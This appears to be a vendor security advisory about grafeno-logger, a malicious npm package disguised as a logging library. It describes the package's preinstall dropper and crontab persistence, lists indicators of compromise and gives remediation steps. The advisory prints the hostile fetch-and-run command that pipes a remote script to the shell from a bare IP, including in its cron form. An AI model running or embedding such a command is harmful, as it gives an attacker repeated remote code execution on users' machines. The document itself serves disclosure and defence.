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Malicious package

grafeno-loggernpm

grafeno-logger is a confirmed malicious npm package (MAL-2026-15506) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-logger (npm)

MAL-2026-15506
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall grafeno-logger

What this malware does

[email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on npm install. The same preinstall step appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.

Malicious versions

2 flagged
1.0.01.0.1

Indicators of compromise (SHA-256)

6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413
8df326d52f1b8b99223fa24f8d5b5139811235451a35d5d6bc0f67a680b5f1e1

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-logger (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-logger across your stack and pipelines.

  2. If you installed it — respond

    Remove grafeno-logger from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If grafeno-logger was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks grafeno-logger before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. grafeno-logger on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019060IN-MAL-2026-019113

References

Credits

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Detect & block this

O3 blocks grafeno-logger-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

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grafeno-logger (npm) malicious package — MAL-2026-15506 | O3 Security